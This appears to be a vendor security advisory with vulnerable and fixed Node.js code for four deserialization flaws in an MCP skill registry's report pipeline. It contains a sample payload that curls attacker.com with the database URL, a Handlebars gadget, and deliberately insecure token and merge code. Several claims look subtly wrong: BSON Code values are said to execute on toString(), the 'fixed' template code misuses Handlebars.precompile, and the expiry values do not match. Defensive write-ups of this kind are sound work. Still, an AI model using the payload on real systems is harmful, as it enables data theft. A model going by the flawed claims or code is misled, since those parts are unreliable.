Claude MCP skill insecure deserialization — audit result caching and report generation pipeline — SA-SKL-DESER12
Audit result caching and report generation pipelines in MCP skill registries touch every audit artifact — results, templates, comparison snapshots, and sharing tokens — and pass them through serialization boundaries (Redis, S3, BSON wire format) that are frequently the site of deserialization vulnerabilities. SA-SKL-DESER12 covers four patterns: a Redis-cached audit result restored via JSON.parse + Object.assign that allows an attacker with Redis write access to inject isPublic:true and expose private audit results in the public feed; a Handlebars template string stored in Redis that is retrieved and compiled at report render time, enabling a prototype pollution gadget chain if the attacker can inject a template with the {{#with (obj.constructor)}} construct; a Redis-cached audit snapshot deserialized via BSON.deserialize() without type validation where a BSON Code type at the "verdict" field triggers code execution at diff computation time; and a base64-encoded report sharing token decoded via JSON.parse + spread that allows an attacker to craft a token with expiresAt:9999999999 bypassing the expiry check.
JSON.parse + Object.assign into report template context — attacker with Redis write access injects isPublic:true making private audit results appear in public audit feedJSON.parse; template compiled with Handlebars.compile() at render time — attacker injects template with prototype pollution gadget chain via {{#with (obj.constructor)}} construct; fix: pre-compile templates at deploy timeBSON.deserialize() without type validation — attacker injects BSON Code type at "verdict" field; diff computation calls .toString() on verdict triggering code executionJSON.parse + spread into share context — attacker crafts token with expiresAt:9999999999 bypassing expiry check in Date comparisonBackground: Deserialization in audit result caching and report generation
MCP skill registry report generation pipelines cache intermediate artifacts — raw audit findings, rendered templates, comparison snapshots, and sharing tokens — in fast stores like Redis for throughput. These caching boundaries introduce deserialization vulnerabilities when retrieved data is not validated against an expected schema before use. The pattern JSON.parse(redis_value) followed by Object.assign(defaults, parsed) is ubiquitous in Node.js codebases and is the entry point for prototype pollution: a specially crafted JSON object with a __proto__ key pollutes Object.prototype process-wide, affecting all subsequent object property lookups. BSON deserialization adds an additional risk layer: BSON Code and CodeWithScope types carry executable JavaScript that can be triggered by calling .toString() or .valueOf() on the deserialized object.
DESER12-002 is particularly dangerous because template compilation is an eval-equivalent operation in Handlebars: a template containing {{#with (obj.constructor)}}{{wrapHelper}}{{/with}} can achieve prototype pollution that persists for the lifetime of the Node.js process. DESER12-004, while lower severity, represents a class of vulnerability that is easy to introduce when developers build "stateless" token systems by encoding all state in a client-readable base64 blob: any state the client can read, the client can modify. The correct pattern is an opaque random token with server-side state.
Related patterns: SA-SKL-DESER11, SA-SKL-DESER10, SA-SKL-CORS27
DESER12-001: HIGH — Audit result cache JSON.parse + Object.assign allows isPublic injection
The audit result cache stores result objects as JSON strings in Redis. When a report is generated, the worker restores the cached result with JSON.parse(await redis.get(key)) and merges it into the report template context with Object.assign(reportDefaults, parsedResult). An attacker with Redis write access (via a Redis auth bypass, a misconfigured Redis ACL, or an SSRF vulnerability that reaches the Redis port) writes a modified cache entry containing "isPublic": true on a private audit result. When the report worker processes this entry, Object.assign merges isPublic: true into the report context, causing the report to be served in the public audit feed accessible without authentication.
// VULNERABLE — DESER12-001
// workers/reportWorker.js
// BUG: JSON.parse + Object.assign with no schema validation
// Attacker with Redis write access injects isPublic:true
// Private audit result appears in public audit feed
async function buildReport(auditId) {
const cached = await redis.get(`audit:result:${auditId}`);
if (!cached) throw new Error('Audit result not found');
const parsedResult = JSON.parse(cached); // ← no schema validation
// BUG: Object.assign merges all attacker-injected properties
const reportCtx = Object.assign({
isPublic: false, // default overridden by injected isPublic:true
grade: 'pending',
findings: [],
generatedAt: Date.now(),
}, parsedResult);
if (reportCtx.isPublic) {
await PublicFeed.addEntry(auditId, reportCtx); // ← private result becomes public
}
return ReportTemplate.render(reportCtx);
}
// FIXED — DESER12-001
// workers/reportWorker.js
const { z } = require('zod');
// Schema defines the exact shape of a valid audit result — no extra properties
const AuditResultSchema = z.object({
auditId: z.string().uuid(),
grade: z.enum(['A', 'B', 'C', 'D', 'F', 'pending']),
findings: z.array(z.object({
id: z.string(),
severity: z.enum(['critical', 'high', 'medium', 'low', 'info']),
title: z.string().max(500),
detail: z.string().max(10000),
})).max(500),
completedAt: z.number().int().positive().optional(),
// isPublic is NOT in the schema — cannot be set via cache
});
async function buildReport(auditId) {
const cached = await redis.get(`audit:result:${auditId}`);
if (!cached) throw new Error('Audit result not found');
let parsedResult;
try {
parsedResult = JSON.parse(cached);
} catch {
throw new Error('Corrupt audit result cache entry');
}
// Validate against schema — strips unknown properties, throws on invalid shape
const validatedResult = AuditResultSchema.parse(parsedResult);
// isPublic is NEVER read from cache — always fetched from DB
const auditRecord = await db.query(
'SELECT isPublic, ownerId, orgId FROM audits WHERE id = ?',
[auditId]
);
if (!auditRecord) throw new Error('Audit not found');
const reportCtx = {
...validatedResult,
isPublic: auditRecord.isPublic, // from DB, not cache
ownerId: auditRecord.ownerId,
orgId: auditRecord.orgId,
generatedAt: Date.now(),
};
if (reportCtx.isPublic) {
await PublicFeed.addEntry(auditId, reportCtx);
}
return ReportTemplate.render(reportCtx);
}
DESER12-001 impact: Private audit results — including unremediated critical findings, secrets scanner output, and SBOM data — appear in the public audit feed, visible to unauthenticated users. For security teams using SkillAudit to audit internal MCP skill packages before publication, this exposure leaks pre-remediation vulnerability details publicly. SkillAudit detects this by identifying Object.assign calls where one operand is the result of JSON.parse on a cache-sourced string and the merged object is subsequently used in a visibility or access-control check.
DESER12-002: CRITICAL — Handlebars template compiled from Redis cache string enables prototype pollution gadget
The PDF report generator fetches a Handlebars template string from Redis (await redis.get('report:template:pdf')), parses it via JSON.parse, and compiles it at request time using Handlebars.compile(templateStr). Handlebars compilation is an eval-equivalent operation: a template containing {{#with (obj.constructor)}}{{wrapHelper}}{{/with}} where wrapHelper is a registered helper that calls Function('return process')() can achieve prototype pollution or RCE through the Handlebars runtime sandbox. An attacker with Redis write access replaces the template string with a crafted template containing the gadget chain. The next report generation request triggers compilation and execution of the gadget.
// VULNERABLE — DESER12-002
// services/pdfReportService.js
const Handlebars = require('handlebars');
const redis = require('./redis');
// BUG: template string fetched from Redis and compiled at request time
// Handlebars.compile() is eval-equivalent — attacker with Redis write access
// injects template with prototype pollution gadget chain
async function generatePdfReport(auditId, reportData) {
const templateJson = await redis.get('report:template:pdf');
const { source: templateStr } = JSON.parse(templateJson); // ← untrusted source
// BUG: compiling untrusted template at runtime — RCE/prototype pollution risk
const template = Handlebars.compile(templateStr);
const html = template(reportData);
return await wkhtmltopdf(html);
}
// FIXED — DESER12-002
// services/pdfReportService.js
const Handlebars = require('handlebars');
const path = require('path');
const fs = require('fs');
// Pre-compile templates at application startup from files on disk
// Template files are version-controlled — changes require a deploy
// Never fetch template source from Redis, DB, or any user-reachable store at runtime
const TEMPLATE_DIR = path.join(__dirname, '../templates/reports');
const compiledTemplates = {};
function loadTemplates() {
const templateFiles = fs.readdirSync(TEMPLATE_DIR).filter(f => f.endsWith('.hbs'));
for (const file of templateFiles) {
const name = path.basename(file, '.hbs');
const source = fs.readFileSync(path.join(TEMPLATE_DIR, file), 'utf8');
compiledTemplates[name] = Handlebars.precompile(source);
}
}
loadTemplates(); // runs once at startup — template on disk, not Redis
async function generatePdfReport(auditId, reportData) {
const templateFn = compiledTemplates['pdf-report'];
if (!templateFn) throw new Error('PDF report template not loaded');
// Execute pre-compiled template — no compile step at request time
const template = Handlebars.template(templateFn);
const html = template(reportData);
return await wkhtmltopdf(html);
}
module.exports = { generatePdfReport, loadTemplates };
DESER12-002 impact: RCE or prototype pollution via a Handlebars gadget chain — an attacker with Redis write access can achieve code execution in the report worker process, gaining access to database credentials, API keys, and the ability to exfiltrate all audit data stored in the worker's environment. Template compilation from a data store is a pattern that appears frequently when product teams want to allow "template customization" without a deploy; the fix is to never compile templates from runtime-reachable data. SkillAudit detects this by identifying Handlebars.compile() or ejs.compile() calls where the template source argument is derived from a cache read, database query, or request parameter.
DESER12-003: CRITICAL — BSON.deserialize without type validation triggers code execution on Code type
The audit result diff comparison service stores base snapshots in Redis as BSON-encoded buffers for compact storage and type fidelity. When computing a diff between two audit snapshots, the service calls BSON.deserialize(snapshotBuffer) without validating the BSON types of the deserialized fields. BSON type 13 (Code) and type 15 (CodeWithScope) carry JavaScript source code that is executed when .toString() or .valueOf() is called on the deserialized value. An attacker with Redis write access replaces the base snapshot buffer with a BSON document where the verdict field is of type Code containing require('child_process').execSync('curl http://attacker.com/'+process.env.DATABASE_URL). The diff computation calls snapshot.verdict.toString() to build the diff string, triggering code execution.
// VULNERABLE — DESER12-003
// services/diffService.js
const BSON = require('bson');
const redis = require('./redis');
// BUG: BSON.deserialize() with no type validation on deserialized fields
// Attacker with Redis write access injects BSON Code type at verdict field
// diff computation calls .toString() on verdict → code execution
async function computeAuditDiff(auditId, currentSnapshot) {
const baseBuffer = await redis.getBuffer(`audit:snapshot:base:${auditId}`);
if (!baseBuffer) return null;
// BUG: no type validation after BSON deserialize — Code type survives here
const baseSnapshot = BSON.deserialize(baseBuffer);
const diff = {
auditId,
verdictChange: `${baseSnapshot.verdict} → ${currentSnapshot.verdict}`, // ← .toString() called on Code type
findingsDelta: computeFindingsDelta(baseSnapshot.findings, currentSnapshot.findings),
gradeDelta: `${baseSnapshot.grade} → ${currentSnapshot.grade}`,
};
return diff;
}
// FIXED — DESER12-003
// services/diffService.js
const BSON = require('bson');
const { z } = require('zod');
const redis = require('./redis');
// Allowlist of safe BSON types — throw on Code (13) and CodeWithScope (15)
const SAFE_BSON_TYPES = new Set([
BSON.Double.BSON_DATA_NUMBER, // 1
BSON.BSON_DATA_STRING, // 2
BSON.BSON_DATA_OBJECT, // 3
BSON.BSON_DATA_ARRAY, // 4
BSON.ObjectId.BSON_DATA_OID, // 7
BSON.BSON_DATA_BOOLEAN, // 8
BSON.BSON_DATA_DATE, // 9
BSON.BSON_DATA_NULL, // 10
BSON.Int32.BSON_DATA_INT, // 16
BSON.Long.BSON_DATA_LONG, // 18
]);
function validateBsonDocument(doc, path = '') {
for (const [key, value] of Object.entries(doc)) {
const fieldPath = path ? `${path}.${key}` : key;
if (value && typeof value === 'object') {
if (value._bsontype === 'Code' || value._bsontype === 'CodeWithScope') {
throw new Error(`BSON Code type rejected at field: ${fieldPath} — DESER12-003`);
}
if (typeof value === 'object' && !Array.isArray(value)) {
validateBsonDocument(value, fieldPath);
}
}
}
}
// Schema for expected snapshot shape — string fields only
const SnapshotSchema = z.object({
verdict: z.string().max(50),
grade: z.enum(['A', 'B', 'C', 'D', 'F', 'pending']),
findings: z.array(z.object({
id: z.string().uuid(),
severity: z.enum(['critical', 'high', 'medium', 'low', 'info']),
})).max(500),
});
async function computeAuditDiff(auditId, currentSnapshot) {
const baseBuffer = await redis.getBuffer(`audit:snapshot:base:${auditId}`);
if (!baseBuffer) return null;
const rawSnapshot = BSON.deserialize(baseBuffer, {
promoteValues: true, // convert BSON numbers to JS primitives
promoteLongs: true,
});
// Reject any BSON Code types before accessing fields
validateBsonDocument(rawSnapshot);
// Validate against schema — only expected fields with safe types
const baseSnapshot = SnapshotSchema.parse(rawSnapshot);
// Now safe to build string comparisons — no Code type can reach here
const diff = {
auditId,
verdictChange: `${baseSnapshot.verdict} → ${currentSnapshot.verdict}`,
findingsDelta: computeFindingsDelta(baseSnapshot.findings, currentSnapshot.findings),
gradeDelta: `${baseSnapshot.grade} → ${currentSnapshot.grade}`,
};
return diff;
}
DESER12-003 impact: RCE in the diff computation worker process — an attacker with Redis write access triggers code execution at the moment any user views a diff comparison for the targeted audit. The worker process has access to database connection strings, S3 credentials, and API keys from its environment, enabling full data exfiltration. BSON Code injection is a rare but consistently overlooked deserialization vulnerability because most developers assume BSON is a safe binary format; the Code type is the exception. SkillAudit detects this by identifying BSON.deserialize() calls not followed by a type validation step that explicitly rejects Code and CodeWithScope types.
DESER12-004: HIGH — Report sharing token decoded via JSON.parse + spread enables expiry bypass
The report sharing system issues tokens by base64-encoding a JSON object containing { reportId, userId, expiresAt, permissions }. When a shared report URL is visited, the server decodes the token with JSON.parse(Buffer.from(token, 'base64').toString()) and spreads the result into the share context. The expiry check compares shareCtx.expiresAt against Date.now(). An attacker intercepts a valid sharing token (e.g., from a shared URL), decodes it, sets expiresAt: 9999999999999 (year 2286), and re-encodes it. The server accepts the modified token because there is no HMAC or signature — the token is entirely client-modifiable. The attacker can also set permissions: ["export", "share", "admin"] to escalate their access level on the shared report.
// VULNERABLE — DESER12-004
// routes/reports.js
// BUG: sharing token is base64(JSON) with no HMAC — client-modifiable
// Attacker sets expiresAt:9999999999999 to create non-expiring access
// Attacker sets permissions:["export","share","admin"] to escalate
app.get('/api/reports/shared/:token',
async (req, res) => {
let shareCtx;
try {
// BUG: no signature validation — just decode the client-supplied base64
shareCtx = JSON.parse(
Buffer.from(req.params.token, 'base64').toString('utf8')
);
} catch {
return res.status(400).json({ error: 'Invalid token' });
}
// BUG: expiresAt read from attacker-controlled decoded object
if (shareCtx.expiresAt < Date.now()) {
return res.status(410).json({ error: 'Share link expired' });
}
const report = await Report.findById(shareCtx.reportId);
res.json({ report, permissions: shareCtx.permissions });
}
);
// FIXED — DESER12-004
// routes/reports.js
const crypto = require('crypto');
// Report sharing uses opaque random tokens with server-side state
// All share metadata stored in DB — token is a 32-byte random key only
app.post('/api/reports/:id/share',
authenticate,
async (req, res) => {
const { expiresInHours = 24, permissions = ['view'] } = req.body;
// Validate permissions against allowed set
const ALLOWED_PERMISSIONS = ['view', 'comment', 'export'];
const validPerms = permissions.filter(p => ALLOWED_PERMISSIONS.includes(p));
// Opaque random token — no reportId, userId, or expiry encoded in the token
const token = crypto.randomBytes(32).toString('hex');
const expiresAt = Date.now() + expiresInHours * 60 * 60 * 1000;
await db.query(
`INSERT INTO report_shares (token_hash, reportId, createdByUserId, permissions, expiresAt)
VALUES (?, ?, ?, ?, ?)`,
[
crypto.createHash('sha256').update(token).digest('hex'),
req.params.id,
req.user.id,
JSON.stringify(validPerms),
new Date(expiresAt),
]
);
res.json({ shareUrl: `https://skillaudit.dev/reports/shared/${token}` });
}
);
app.get('/api/reports/shared/:token',
async (req, res) => {
const tokenHash = crypto.createHash('sha256')
.update(req.params.token)
.digest('hex');
// All state from DB — token cannot be modified to change any property
const share = await db.query(
`SELECT * FROM report_shares WHERE token_hash = ? AND expiresAt > NOW()`,
[tokenHash]
);
if (!share) {
return res.status(410).json({ error: 'Share link expired or invalid' });
}
const report = await Report.findById(share.reportId);
res.json({ report, permissions: JSON.parse(share.permissions) });
}
);
DESER12-004 impact: Sharing token expiry bypass and permission escalation — an attacker who obtains a sharing link (e.g., from a leaked URL in a Slack message or email) can modify the token to remove the expiry and elevate permissions to include export and share access. This extends access to private audit data beyond the intended time window and allows the attacker to redistribute the report or export it to external systems. SkillAudit detects this by identifying token decode patterns where JSON.parse or Buffer.from(..., 'base64') is called on a client-supplied token that is not subsequently verified against a server-side HMAC signature or database record.
Detection with SkillAudit
SkillAudit's static analysis scans caching and report generation pipelines for all four SA-SKL-DESER12 patterns. For DESER12-001 it identifies Object.assign calls where the source is a JSON.parse of a Redis-fetched value and the merged context is used in a visibility or access check without field-level schema validation. For DESER12-002 it identifies Handlebars.compile(), ejs.compile(), or Pug.compile() calls where the template source argument is derived from a Redis GET or database query at request time rather than from a pre-compiled file. For DESER12-003 it identifies BSON.deserialize() calls not followed by a type-checking step that explicitly rejects Code and CodeWithScope BSON types. For DESER12-004 it identifies token decode patterns using JSON.parse on base64-decoded client tokens where the decoded object fields are used in authorization or expiry checks without HMAC verification.
| Finding | Severity | Root cause | Fix |
|---|---|---|---|
| DESER12-001 | High | JSON.parse + Object.assign merges Redis cache into report context — isPublic:true injection makes private audits public | Zod schema validation post-parse; fetch isPublic from DB record, never from cache |
| DESER12-002 | Critical | Handlebars template string fetched from Redis and compiled at request time — prototype pollution gadget chain via {{#with (obj.constructor)}} | Pre-compile templates at startup from version-controlled .hbs files; never compile from cache |
| DESER12-003 | Critical | BSON.deserialize() without type validation — BSON Code type at verdict field triggers RCE when .toString() called in diff computation | Reject Code and CodeWithScope types post-deserialize; Zod schema on snapshot shape |
| DESER12-004 | High | Report share token is base64(JSON) with no HMAC — attacker sets expiresAt:9999999999 bypassing expiry; sets permissions:["admin"] escalating access | Opaque random token with server-side DB state; never encode authorization state in client-readable tokens |
Related findings: SA-SKL-DESER11, SA-SKL-DESER10, SA-SKL-CORS27
Scan your MCP skill registry for SA-SKL-DESER12. SkillAudit scans your MCP skill registry for all SA-SKL-DESER12 patterns — JSON.parse + Object.assign visibility injection, runtime Handlebars compilation from cache, BSON Code type RCE, and base64 JSON token expiry bypass — and delivers a prioritized fix report in minutes. Get started →